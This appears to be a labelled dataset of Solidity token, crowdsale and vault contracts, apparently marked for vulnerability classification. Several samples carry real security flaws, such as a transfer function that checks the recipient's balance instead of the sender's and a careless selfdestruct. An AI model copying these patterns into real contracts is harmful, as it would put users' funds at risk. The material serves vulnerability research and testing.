= true; owner.transfer(msg.value); } function getDepositByAddress(address depositor) public view returns (uint256 index, uint256 deposit, uint256 expect) { for(uint i=currentReceiverIndex; i<queue.length; ++i){ Deposit storage dep = queue[i]; if(dep.depositor == depositor){ index = i; deposit = dep.deposit; expect = dep.expect; break; } } } function getData()public view returns(uint256 _lastDepositBonus, uint256 _endTime, uint256 _currentlyServing, uint256 _queueLength, address _lastAddress) { _lastDepositBonus = address(this).balance; _endTime = last.depositTime + 12 hours; _currentlyServing = currentReceiverIndex; _queueLength = queue.length; _lastAddress = last.depositor; } }
0
1,201
pragma solidity ^0.4.18; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; function CappedToken(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { require(totalSupply.add(_amount) <= cap); return super.mint(_to, _amount); } } contract FKX is CappedToken(FKX.TOKEN_SUPPLY) { using SafeMath for uint256; string public constant name = "Knoxstertoken"; string public constant symbol = "FKX"; uint8 public constant decimals = 18; string public constant version = "1.0"; uint256 public constant TOKEN_SUPPLY = 150000000 * (10 ** uint256(decimals)); } contract FKXTokenTimeLock is Ownable { address[] public lockIndexes; struct TokenTimeLockVault { uint256 amount; uint256 releaseTime; uint256 arrayIndex; } FKX public token; mapping(address => TokenTimeLockVault) public tokenLocks; function FKXTokenTimeLock(FKX _token) public { token = _token; } function lockTokens(address _beneficiary, uint256 _releaseTime, uint256 _tokens) external onlyOwner { require(_releaseTime > now); require(_tokens > 0); TokenTimeLockVault storage lock = tokenLocks[_beneficiary]; lock.amount = _tokens; lock.releaseTime = _releaseTime; lock.arrayIndex = lockIndexes.length; lockIndexes.push(_beneficiary); LockEvent(_beneficiary, _tokens, _releaseTime); } function exists(address _beneficiary) external onlyOwner view returns (bool) { TokenTimeLockVault memory lock = tokenLocks[_beneficiary]; return lock.amount > 0; } function release() public { TokenTimeLockVault memory lock = tokenLocks[msg.sender]; require(now >= lock.releaseTime); require(lock.amount > 0); delete tokenLocks[msg.sender]; lockIndexes[lock.arrayIndex] = 0x0; UnlockEvent(msg.sender); assert(token.transfer(msg.sender, lock.amount)); } function releaseAll(uint from, uint to) external onlyOwner returns (bool) { require(from >= 0); require(to <= lockIndexes.length); for (uint i = from; i < to; i++) { address beneficiary = lockIndexes[i]; if (beneficiary == 0x0) { continue; } TokenTimeLockVault memory lock = tokenLocks[beneficiary]; if (!(now >= lock.releaseTime && lock.amount > 0)) { continue; } delete tokenLocks[beneficiary]; lockIndexes[lock.arrayIndex] = 0x0; UnlockEvent(beneficiary); assert(token.transfer(beneficiary, lock.amount)); } return true; } event LockEvent(address indexed beneficiary, uint256 amount, uint256 releaseTime); event UnlockEvent(address indexed beneficiary); } contract FKXSale is Ownable { FKX public token; FKXTokenTimeLock public tokenLock; function FKXSale() public { token = new FKX(); tokenLock = new FKXTokenTimeLock(token); } function finalize() public onlyOwner { token.finishMinting(); } function mintBaseLockedTokens(address beneficiary, uint256 baseTokens, uint256 bonusTokens, uint256 releaseTime) public onlyOwner { require(beneficiary != 0x0); require(baseTokens > 0); require(bonusTokens > 0); require(releaseTime > now); require(!tokenLock.exists(beneficiary)); token.mint(beneficiary, baseTokens); token.mint(tokenLock, bonusTokens); tokenLock.lockTokens(beneficiary, releaseTime, bonusTokens); } function mintLockedTokens(address beneficiary, uint256 tokens, uint256 releaseTime) public onlyOwner { require(beneficiary != 0x0); require(tokens > 0); require(releaseTime > now); require(!tokenLock.exists(beneficiary)); token.mint(tokenLock, tokens); tokenLock.lockTokens(beneficiary, releaseTime, tokens); } function mintTokens(address beneficiary, uint256 tokens) public onlyOwner { require(beneficiary != 0x0); require(tokens > 0); token.mint(beneficiary, tokens); } function releaseAll(uint from, uint to) public onlyOwner returns (bool) { tokenLock.releaseAll(from, to); return true; } }
1
3,642
contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer (address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) private allowed; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function allowance(address _owner,address _spender) public view returns (uint256){ return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from,address _to,uint256 _value)public returns (bool){ require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function increaseApproval(address _spender,uint256 _addedValue) public returns (bool){ allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender,uint256 _subtractedValue) public returns (bool){ uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Rate { using SafeMath for uint; uint public ETHUSDC; uint public usCentsPrice; uint public tokenWeiPrice; uint public requiredWeiAmount; uint public requiredDollarAmount; uint internal percentLimit; uint[] internal percentLimits = [10, 27, 53, 0]; event LogConstructorInitiated(string nextStep); event LogPriceUpdated(string price); event LogNewOraclizeQuery(string description); function ethersToTokens(uint _ethAmount) public view returns(uint microTokens) { uint centsAmount = _ethAmount.mul(ETHUSDC); return centsToTokens(centsAmount); } function centsToTokens(uint _cents) public view returns(uint microTokens) { require(_cents > 0); microTokens = _cents.mul(1000000).div(usCentsPrice); return microTokens; } function tokensToWei(uint _microTokensAmount) public view returns(uint weiAmount) { uint centsWei = SafeMath.div(1 ether, ETHUSDC); uint microTokenWeiPrice = centsWei.mul(usCentsPrice).div(10 ** 6); weiAmount = _microTokensAmount.mul(microTokenWeiPrice); return weiAmount; } function tokensToCents(uint _microTokenAmount) public view returns(uint centsAmount) { centsAmount = _microTokenAmount.mul(usCentsPrice).div(1000000); return centsAmount; } function stringUpdate(string _rate) internal { ETHUSDC = getInt(_rate, 0); uint centsWei = SafeMath.div(1 ether, ETHUSDC); tokenWeiPrice = usCentsPrice.mul(centsWei); requiredWeiAmount = requiredDollarAmount.mul(100).mul(1 ether).div(ETHUSDC); } function getInt(string _a, uint _b) private pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i = 0; i < bresult.length; i++) { if ((bresult[i] >= 48) && (bresult[i] <= 57)) { if (decimals) { if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } return mint; } } contract IMPERIVMCoin is StandardToken { using SafeMath for uint; string public name = "IMPERIVMCoin"; string public symbol = "IMPC"; uint8 public decimals = 6; address owner; constructor(uint _initialSupply) public { totalSupply_ = _initialSupply * 10 ** uint(decimals); owner = msg.sender; balances[owner] = balances[owner].add(totalSupply_); } } contract Ownable { address public initialOwner; mapping(address => bool) owners; event AddOwner(address indexed admin); event DeleteOwner(address indexed admin); modifier onlyOwners() { require( msg.sender == initialOwner || inOwners(msg.sender) ); _; } modifier onlyInitialOwner() { require(msg.sender == initialOwner); _; } function addOwner(address _wallet) public onlyInitialOwner { owners[_wallet] = true; emit AddOwner(_wallet); } function deleteOwner(address _wallet) public onlyInitialOwner { owners[_wallet] = false; emit DeleteOwner(_wallet); } function inOwners(address _wallet) public view returns(bool) { if(owners[_wallet]){ return true; } return false; } } contract Lifecycle is Ownable, Rate { enum Stages { Private, PreSale, Sale, Cancel, Stopped } Stages public previousStage; Stages public crowdsaleStage; event ICOStopped(uint timeStamp); event ICOContinued(uint timeStamp); event CrowdsaleStarted(uint timeStamp); event ICOSwitched(uint timeStamp,uint newPrice,uint newRequiredDollarAmount); modifier appropriateStage() { require( crowdsaleStage != Stages.Cancel, "ICO is finished now" ); require( crowdsaleStage != Stages.Stopped, "ICO is temporary stopped at the moment" ); _; } function stopCrowdsale() public onlyOwners { require(crowdsaleStage != Stages.Stopped); previousStage = crowdsaleStage; crowdsaleStage = Stages.Stopped; emit ICOStopped(now); } function continueCrowdsale() public onlyOwners { require(crowdsaleStage == Stages.Stopped); crowdsaleStage = previousStage; previousStage = Stages.Stopped; emit ICOContinued(now); } function nextStage( uint _cents, uint _requiredDollarAmount ) public onlyOwners appropriateStage { crowdsaleStage = Stages(uint(crowdsaleStage)+1); setUpConditions( _cents, _requiredDollarAmount); emit ICOSwitched(now,_cents,_requiredDollarAmount); } function setUpConditions( uint _cents, uint _requiredDollarAmount ) internal { require(_cents > 0); require(_requiredDollarAmount > 0); percentLimit = percentLimits[ uint(crowdsaleStage) ]; usCentsPrice = _cents; requiredDollarAmount = _requiredDollarAmount; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); uint256 c = _a / _b; return c; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Verification is Ownable { event AddBuyer(address indexed buyer); event DeleteBuyer(address indexed buyer, bool indexed success); mapping(address => bool) public approvedBuyers; function addBuyer(address _buyer) public onlyOwners returns(bool success) { approvedBuyers[_buyer] = true; emit AddBuyer(_buyer); return true; } function deleteBuyer(address _buyer) public onlyOwners returns(bool success) { if (approvedBuyers[_buyer]) { delete approvedBuyers[_buyer]; emit DeleteBuyer(_buyer, true); return true; } else { emit DeleteBuyer(_buyer, false); return false; } } function getBuyer(address _buyer) public view returns(bool success){ if (approvedBuyers[_buyer]){ return true; } return false; } } contract IMPCrowdsale is Lifecycle, Verification { using SafeMath for uint; IMPERIVMCoin public token; uint public weiRaised; uint public totalSold; uint lastTimeStamp; event TokenPurchase( address indexed purchaser, uint value, uint amount ); event StringUpdate(string rate); event ManualTransfer(address indexed to, uint indexed value); constructor( IMPERIVMCoin _token, uint _cents, uint _requiredDollarAmount ) public { require(_token != address(0)); token = _token; initialOwner = msg.sender; setUpConditions( _cents, _requiredDollarAmount); crowdsaleStage = Stages.Sale; } function () public payable { initialOwner.transfer(msg.value); } function buyTokens() public payable appropriateStage { require(approvedBuyers[msg.sender]); require(totalSold <= token.totalSupply().div(100).mul(percentLimit)); uint weiAmount = msg.value; _preValidatePurchase(weiAmount); uint tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(tokens); emit TokenPurchase( msg.sender, weiAmount, tokens ); _forwardFunds(); _postValidatePurchase(tokens); } function stringCourse(string _rate) public payable onlyOwners { stringUpdate(_rate); lastTimeStamp = now; emit StringUpdate(_rate); } function manualTokenTransfer(address _to, uint _value) public onlyOwners returns(bool success) { if(approvedBuyers[_to]) { totalSold = totalSold.add(_value); token.transferFrom(initialOwner, _to, _value); emit ManualTransfer(_to, _value); return true; } else { return false; } } function _preValidatePurchase(uint _weiAmount) internal view { require( _weiAmount >= requiredWeiAmount, "Your investment funds are less than minimum allowable amount for tokens buying" ); } function _postValidatePurchase(uint _tokensAmount) internal { totalSold = totalSold.add(_tokensAmount); } function _getTokenAmount(uint _weiAmount) internal view returns (uint) { uint centsWei = SafeMath.div(1 ether, ETHUSDC); uint microTokenWeiPrice = centsWei.mul(usCentsPrice).div(10 ** uint(token.decimals())); uint amountTokensForInvestor = _weiAmount.div(microTokenWeiPrice); return amountTokensForInvestor; } function _deliverTokens(uint _tokenAmount) internal { token.transferFrom(initialOwner, msg.sender, _tokenAmount); } function _processPurchase(uint _tokenAmount) internal { _deliverTokens(_tokenAmount); } function _forwardFunds() internal { initialOwner.transfer(msg.value); } function destroy() public onlyInitialOwner { selfdestruct(this); } }
1
3,101
pragma solidity ^0.4.25; interface Snip3DInterface { function() payable external; function offerAsSacrifice(address MN) external payable ; function withdraw() external ; function myEarnings() external view returns(uint256); function tryFinalizeStage() external; function sendInSoldier(address masternode) external payable; function fetchdivs(address toupdate) external; function shootSemiRandom() external; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { owner = _newOwner; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract Slaughter3D is Owned { using SafeMath for uint; Snip3DInterface constant Snip3Dcontract_ = Snip3DInterface(0xb172BB8BAae74F27Ade3211E0c145388d3b4f8d8); uint256 public toSlaughter; function harvestableBalance() view public returns(uint256) { uint256 toReturn = address(this).balance.sub(toSlaughter); return ( toReturn) ; } function unfetchedVault() view public returns(uint256) { return ( Snip3Dcontract_.myEarnings()) ; } function sacUp () public payable { toSlaughter = toSlaughter.add(msg.value); } function sacUpto (address masternode) public { require(toSlaughter> 0.1 ether); toSlaughter = toSlaughter.sub(0.1 ether); Snip3Dcontract_.offerAsSacrifice.value(0.1 ether)(masternode); } function validate () public { Snip3Dcontract_.tryFinalizeStage(); } function fetchvault () public { Snip3Dcontract_.withdraw(); } function fetchBalance () onlyOwner public { uint256 tosend = address(this).balance.sub(toSlaughter); msg.sender.transfer(tosend); } function () external payable{} }
1
2,134
pragma solidity ^0.4.18; contract owned { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function owned() public { owner = msg.sender; } function changeOwner(address newOwner) onlyOwner public { owner = newOwner; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } modifier onlyOwner { require(msg.sender == owner); _; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract Utils { modifier validAddress(address _address) { require(_address != 0x0); _; } modifier notThis(address _address) { require(_address != address(this)); _; } } contract GraphenePowerToken is owned,Utils{ string public standard = 'Token 0.1'; string public name = 'Graphene Power'; string public symbol = 'GRP'; uint8 public decimals = 18; uint256 _totalSupply =0; uint preSaleStart=1513771200; uint preSaleEnd=1515585600; uint256 preSaleTotalTokens=30000000; uint256 preSaleTokenCost=6000; address preSaleAddress; bool enablePreSale=false; uint icoStart; uint256 icoSaleTotalTokens=400000000; address icoAddress; bool enableIco=false; uint256 advisersConsultantTokens=15000000; address advisersConsultantsAddress; uint256 bountyTokens=15000000; address bountyAddress; uint256 founderTokens=40000000; address founderAddress; address public wallet; bool enableMintTokens=true; bool public transfersEnabled = false; mapping (address => uint256) balanceOf; mapping (address => mapping (address => uint256)) allowed; event Transfer(address from, address to, uint256 value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Destruction(uint256 _amount); event Burn(address indexed from, uint256 value); event Issuance(uint256 _amount); function GraphenePowerToken() public{ preSaleAddress=0xC07850969A0EC345A84289f9C5bb5F979f27110f; icoAddress=0x1C21Cf57BF4e2dd28883eE68C03a9725056D29F1; advisersConsultantsAddress=0xe8B6dA1B801b7F57e3061C1c53a011b31C9315C7; bountyAddress=0xD53E82Aea770feED8e57433D3D61674caEC1D1Be; founderAddress=0xDA0D3Dad39165EA2d7386f18F96664Ee2e9FD8db; _totalSupply =500000000; balanceOf[this]=_totalSupply; } modifier transfersAllowed { assert(transfersEnabled); _; } modifier validAddress(address _address) { require(_address != 0x0); _; } modifier notThis(address _address) { require(_address != address(this)); _; } function() payable public { require(msg.value>0); buyTokens(msg.sender); } function buyTokens(address beneficiary) payable public { require(beneficiary != 0x0); uint256 weiAmount; uint256 tokens; wallet=owner; if(isPreSale()){ wallet=preSaleAddress; weiAmount=6000; } else if(isIco()){ wallet=icoAddress; if((icoStart+(7*24*60*60)) >= now){ weiAmount=4000; } else if((icoStart+(14*24*60*60)) >= now){ weiAmount=3750; } else if((icoStart+(21*24*60*60)) >= now){ weiAmount=3500; } else if((icoStart+(28*24*60*60)) >= now){ weiAmount=3250; } else if((icoStart+(35*24*60*60)) >= now){ weiAmount=3000; } else{ weiAmount=2000; } } else{ weiAmount=6000; } forwardFunds(); tokens=msg.value*weiAmount/1000000000000000000; mintToken(beneficiary, tokens); Transfer(this, beneficiary, tokens); } function forwardFunds() internal { wallet.transfer(msg.value); } function getTokensForGraphenePower() onlyOwner public returns(bool result){ require(enableMintTokens); mintToken(bountyAddress, bountyTokens); Transfer(this, bountyAddress, bountyTokens); mintToken(founderAddress, founderTokens); Transfer(this, founderAddress, founderTokens); mintToken(advisersConsultantsAddress, advisersConsultantTokens); Transfer(this, advisersConsultantsAddress, advisersConsultantTokens); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) transfersAllowed public returns (bool success) { require(balanceOf[_to] >= _value); balanceOf[msg.sender] = (balanceOf[msg.sender] -_value); balanceOf[_to] =(balanceOf[_to] + _value); Transfer(msg.sender, _to, _value); return true; } function mintToken(address target, uint256 mintedAmount) onlyOwner public returns(bool result) { if(enableMintTokens){ balanceOf[target] += mintedAmount; _totalSupply =(_totalSupply-mintedAmount); Transfer(this, target, mintedAmount); return true; } else{ return false; } } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) transfersAllowed public returns (bool success) { require(transfersEnabled); require(balanceOf[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balanceOf[_from] = (balanceOf[_from] - _value); balanceOf[_to] = (balanceOf[_to] + _value); allowed[_from][msg.sender] = (allowed[_from][msg.sender] - _value); Transfer(_from, _to, _value); return true; } function issue(address _to, uint256 _amount) public onlyOwner validAddress(_to) notThis(_to) { _totalSupply = (_totalSupply - _amount); balanceOf[_to] = (balanceOf[_to] + _amount); Issuance(_amount); Transfer(this, _to, _amount); } function burn(uint256 _value) public returns (bool success) { destroy(msg.sender, _value); Burn(msg.sender, _value); return true; } function destroy(address _from, uint256 _amount) public { require(msg.sender == _from); require(balanceOf[_from] >= _amount); balanceOf[_from] =(balanceOf[_from] - _amount); _totalSupply = (_totalSupply - _amount); Transfer(_from, this, _amount); Destruction(_amount); } function killBalance() onlyOwner public { require(!enablePreSale && !enableIco); if(this.balance > 0) { owner.transfer(this.balance); } } function enabledMintTokens(bool value) onlyOwner public returns(bool result) { enableMintTokens = value; return enableMintTokens; } function contractBalance() constant public returns (uint256 balance) { return balanceOf[this]; } function startPreSale() onlyOwner public returns(bool result){ enablePreSale=true; return enablePreSale; } function endPreSale() onlyOwner public returns(bool result){ enablePreSale=false; return enablePreSale; } function startIco() onlyOwner public returns(bool result){ enableIco=true; return enableIco; } function endIco() onlyOwner public returns(bool result){ enableIco=false; return enableIco; } function isIco() constant public returns (bool closed) { bool result=((icoStart+(35*24*60*60)) >= now); if(enableIco){ return true; } else{ return result; } } function isPreSale() constant public returns (bool closed) { bool result=(preSaleEnd >= now); if(enablePreSale){ return true; } else{ return result; } } }
1
2,209
pragma solidity ^0.4.21; pragma solidity ^0.4.21; contract AuthorizedList { bytes32 constant APHRODITE = keccak256("Goddess of Love!"); bytes32 constant CUPID = keccak256("Aphrodite's Little Helper."); bytes32 constant BULKTRANSFER = keccak256("Bulk Transfer User."); mapping (address => mapping(bytes32 => bool)) internal authorized; mapping (bytes32 => bool) internal contractPermissions; } pragma solidity ^0.4.21; contract Authorized is AuthorizedList { function Authorized() public { authorized[msg.sender][APHRODITE] = true; } modifier ifAuthorized(address _address, bytes32 _authorization) { require(authorized[_address][_authorization] || authorized[_address][APHRODITE]); _; } function isAuthorized(address _address, bytes32 _authorization) public view returns (bool) { return authorized[_address][_authorization]; } function toggleAuthorization(address _address, bytes32 _authorization) public ifAuthorized(msg.sender, APHRODITE) { require(_address != msg.sender); if (_authorization == APHRODITE && !authorized[_address][APHRODITE]) { authorized[_address][CUPID] = false; } authorized[_address][_authorization] = !authorized[_address][_authorization]; } } pragma solidity ^0.4.21; contract Pausable is AuthorizedList, Authorized { event Pause(); event Unpause(); bool public paused = false; function Pausable() public AuthorizedList() Authorized() { } modifier whenNotPaused { require(!paused); _; } modifier whenPaused { require(paused); _; } function pause() public whenNotPaused ifAuthorized(msg.sender, CUPID) returns (bool) { emit Pause(); paused = true; return true; } function unpause() public whenPaused ifAuthorized(msg.sender, CUPID) returns (bool) { emit Unpause(); paused = false; return true; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } pragma solidity ^0.4.21; contract IERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed _from, address indexed _to, uint256 _value); } pragma solidity ^0.4.21; contract IERC20 is IERC20Basic { function allowance(address _tokenholder, address _tokenspender) view public returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _tokenspender, uint256 _value) public returns (bool); event Approval(address indexed _tokenholder, address indexed _tokenspender, uint256 _value); } pragma solidity ^0.4.21; contract RecoverCurrency is AuthorizedList, Authorized { event EtherRecovered(address indexed _to, uint256 _value); function recoverEther() external ifAuthorized(msg.sender, APHRODITE) { msg.sender.transfer(address(this).balance); emit EtherRecovered(msg.sender, address(this).balance); } function recoverToken(address _address) external ifAuthorized(msg.sender, APHRODITE) { require(_address != address(0)); IERC20Basic token = IERC20Basic(_address); uint256 balance = token.balanceOf(address(this)); token.transfer(msg.sender, balance); } } pragma solidity ^0.4.21; contract Freezable is AuthorizedList, Authorized { event Frozen(address indexed _account); event Unfrozen(address indexed _account); mapping (address => bool) public frozenAccounts; function Freezable() public AuthorizedList() Authorized() { } modifier notFrozen { require(!frozenAccounts[msg.sender]); _; } function isFrozen(address account) public view returns (bool) { return frozenAccounts[account]; } function freezeAccount(address account) public ifAuthorized(msg.sender, APHRODITE) returns (bool success) { if (!frozenAccounts[account]) { frozenAccounts[account] = true; emit Frozen(account); success = true; } } function unfreezeAccount(address account) public ifAuthorized(msg.sender, APHRODITE) returns (bool success) { if (frozenAccounts[account]) { frozenAccounts[account] = false; emit Unfrozen(account); success = true; } } } pragma solidity ^0.4.21; contract AllowancesLedger { mapping (address => mapping (address => uint256)) public allowances; } pragma solidity ^0.4.21; contract TokenLedger is AuthorizedList, Authorized { mapping(address => uint256) public balances; uint256 public totalsupply; struct SeenAddressRecord { bool seen; uint256 accountArrayIndex; } address[] internal accounts; mapping(address => SeenAddressRecord) internal seenBefore; function numberAccounts() public view ifAuthorized(msg.sender, APHRODITE) returns (uint256) { return accounts.length; } function returnAccounts() public view ifAuthorized(msg.sender, APHRODITE) returns (address[] holders) { return accounts; } function balanceOf(uint256 _id) public view ifAuthorized(msg.sender, CUPID) returns (uint256 balance) { require (_id < accounts.length); return balances[accounts[_id]]; } } pragma solidity ^0.4.21; contract TokenSettings is AuthorizedList, Authorized { string public name = "intimate"; string public symbol = "ITM"; uint256 public INITIAL_SUPPLY = 100000000 * 10**18; uint8 public constant decimals = 18; function setName(string _name) public ifAuthorized(msg.sender, APHRODITE) { name = _name; } function setSymbol(string _symbol) public ifAuthorized(msg.sender, APHRODITE) { symbol = _symbol; } } pragma solidity ^0.4.21; contract BasicTokenStorage is AuthorizedList, Authorized, TokenSettings, AllowancesLedger, TokenLedger { function BasicTokenStorage() public Authorized() TokenSettings() AllowancesLedger() TokenLedger() { } function trackAddresses(address _tokenholder) internal { if (!seenBefore[_tokenholder].seen) { seenBefore[_tokenholder].seen = true; accounts.push(_tokenholder); seenBefore[_tokenholder].accountArrayIndex = accounts.length - 1; } } function removeSeenAddress(address _tokenholder) internal { uint index = seenBefore[_tokenholder].accountArrayIndex; require(index < accounts.length); if (index != accounts.length - 1) { accounts[index] = accounts[accounts.length - 1]; } accounts.length--; delete seenBefore[_tokenholder]; } } pragma solidity ^0.4.21; contract BasicToken is IERC20Basic, BasicTokenStorage, Pausable, Freezable { using SafeMath for uint256; event Transfer(address indexed _tokenholder, address indexed _tokenrecipient, uint256 _value); event BulkTransfer(address indexed _tokenholder, uint256 _howmany); function totalSupply() public view whenNotPaused returns (uint256) { return totalsupply; } function transfer(address _to, uint256 _value) public whenNotPaused notFrozen returns (bool) { require(_to != address(0)); require(msg.sender != _to); balances[msg.sender] = balances[msg.sender].sub(_value); if (balances[msg.sender] == 0) { removeSeenAddress(msg.sender); } trackAddresses(_to); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function bulkTransfer(address[] _tos, uint256[] _values) public whenNotPaused notFrozen ifAuthorized(msg.sender, BULKTRANSFER) returns (bool) { require (_tos.length == _values.length); uint256 sourceBalance = balances[msg.sender]; balances[msg.sender] = 0; for (uint256 i = 0; i < _tos.length; i++) { uint256 currentValue = _values[i]; address _to = _tos[i]; require(_to != address(0)); require(currentValue <= sourceBalance); require(msg.sender != _to); sourceBalance = sourceBalance.sub(currentValue); balances[_to] = balances[_to].add(currentValue); trackAddresses(_to); emit Transfer(msg.sender, _tos[i], currentValue); } balances[msg.sender] = sourceBalance; emit BulkTransfer(msg.sender, _tos.length); if (balances[msg.sender] == 0) { removeSeenAddress(msg.sender); } return true; } function balanceOf(address _tokenholder) public view whenNotPaused returns (uint256 balance) { require(!isFrozen(_tokenholder)); return balances[_tokenholder]; } } pragma solidity ^0.4.21; contract StandardToken is IERC20Basic, BasicToken, IERC20 { using 